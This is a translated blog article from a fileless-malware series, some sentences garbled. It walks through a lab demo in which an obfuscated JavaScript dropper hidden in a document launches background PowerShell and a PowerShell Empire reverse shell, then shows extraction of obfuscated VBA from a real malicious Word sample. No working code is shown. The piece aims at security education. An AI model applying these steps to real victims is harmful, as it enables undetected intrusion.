This article is part of the Fileless Malware series. All other parts of the series:
- Elusive Malware Adventures Part II: Hidden VBA Scripts (we're here)
I am a fan of the site (hybrid analysis, hereinafter HA). This is a kind of malware zoo where you can safely observe wild "predators" from a safe distance without being attacked. HA runs malware in secure environments, records system calls, generated files, and internet traffic, and brings you all of these results for every sample it analyzes. Thus, you can not waste your time and effort solving the obfuscated code yourself, but immediately understand all the intentions of hackers.
The HA examples that caught my attention use either coded JavaScript or Visual Basic for Applications (VBA) scripts embedded as macros in Word or Excel documents and attached to phishing emails. When opened, these macros start a PowerShell session on the victim's computer. Hackers typically send a Base64-encoded command stream to PowerShell. This is all done to make the attack difficult to detect by web filters and antivirus software that respond to certain keywords.
Fortunately, HA automatically decodes Base64 and immediately shows everything in a readable form. Essentially, you don't have to focus on how these scripts work, because you will be able to see the full output of the commands for running processes in the corresponding HA section. See example below:
Hybrid parsing intercepts Base64 encoded commands sent to PowerShell:
... and then decodes them for you. #magically
Π I created my own slightly obfuscated JavaScript container to run a PowerShell session. My script then, like a lot of PowerShell-based malware, downloads the following PowerShell script from a remote website. Then, as an example, I downloaded a harmless PS that printed a message on the screen. But times are changing, and now I propose to complicate the scenario.
PowerShell Empire and Reverse Shell
One of the purposes of this exercise is to show how (relatively) easy it is for a hacker to bypass classic perimeter defenses and antiviruses. If an IT blogger without programming skills, like me, in a couple of evenings can (fully undetected, FUD), imagine the possibilities of an interested young hacker!
And if you're an IT security person, but your manager doesn't understand the potential implications of these threats, just show them this article.
Hackers dream of gaining direct access to a victim's laptop or server. This is very easy to do: all a hacker needs is to get hold of a few confidential files on the CEO's laptop.
Somehow I already about the post-production PowerShell Empire runtime. Let's remember what it is.
It is essentially a PowerShell-based penetration testing tool that, among many other features, makes it easy to run a reverse shell. You can explore it in more detail at .
Let's do a little experiment. I set up a secure environment for malware testing in the Amazon Web Services cloud. You can follow my example to quickly and safely show a working example of this vulnerability (and not get fired for running viruses inside the enterprise perimeter).
If you run the PowerShell Empire console, you will see something like this:
First, you start the listener process on your hacker machine. Enter the "listener" command, and specify the IP address of your system using "set Host". Then start the listener process with the "execute" command (below). Thus, on your side, you will start waiting for a network connection from a remote shell:
For the other side, you will need to generate an agent code by entering the "launcher" command (see below). This will generate the PowerShell code for the remote agent. Note that it is Base64 encoded and represents the second phase of the payload. In other words, my JavaScript code will now pull this agent to run PowerShell instead of harmlessly displaying text on the screen and connect to our remote PSE server to run the reverse shell.
Reverse shell magic. This encoded PowerShell command will connect to my listener and start a remote shell.
To show you this experiment, I took on the role of an innocent victim and opened up Evil.doc, thus running our JavaScript. Remember the first part? PowerShell has been configured to not pop up, so the victim won't notice anything out of the ordinary. However, if you open the Windows Task Manager, you will see a background PowerShell process, which will still not cause any alarm for most. Because it's regular PowerShell, isn't it?
Now, when you run Evil.doc, a hidden background process will connect to the server running PowerShell Empire. Putting on the white hat of a hacker-pentester, I returned to the PowerShell Empire console, and now I see a message that my remote agent is active.
Then I typed the "interact" command to open a shell in PSE - and here I am! In short, I hacked into the Taco server that I set up myself some time ago.
What I have just demonstrated does not require that much work from you. You can easily do all this in a lunch break for one to two hours to improve your knowledge of information security. It's also a great way to understand how hackers bypass external security perimeter defenses and sneak into your systems.
IT managers who think they've built an impenetrable defense against any kind of intrusion will probably also find it educational - well, if you can convince them to sit next to you long enough, of course.
Back to reality
As I expected, the real hack, invisible to the average user, is just a variation of what I just described. In order to collect material for the next publication, I began to look for a sample on HA, which works in the same way as my invented example. And I didnβt have to look for it for a long time - there are many options for such an attack technique on the site.
The malware I ended up finding on HA is a VBA script that was embedded in a Word document. That is, I don't even need to fake the doc extension, this malware is really the most ordinary-looking Microsoft Word document. In case you're wondering, I chose this pattern called .
I quickly learned that you often can't pull malicious VBA scripts directly from a document. Hackers compress and hide them, and they are not visible in Word's built-in macro tools. You will need a special tool to extract it. Luckily I came across a scanner Frank Baldwin. Thank you Frank.
Using this tool, I was able to pull out a highly obfuscated VBA code. It looked something like this:
Obfuscation was done by professionals in their field. I was impressed!
The attackers are really good at obfuscating code, not like my efforts at creating Evil.doc. Okay, in the next part, we'll get our VBA debuggers, dig a little deeper into this code, and compare our analysis with the HA results.
Source: habr.com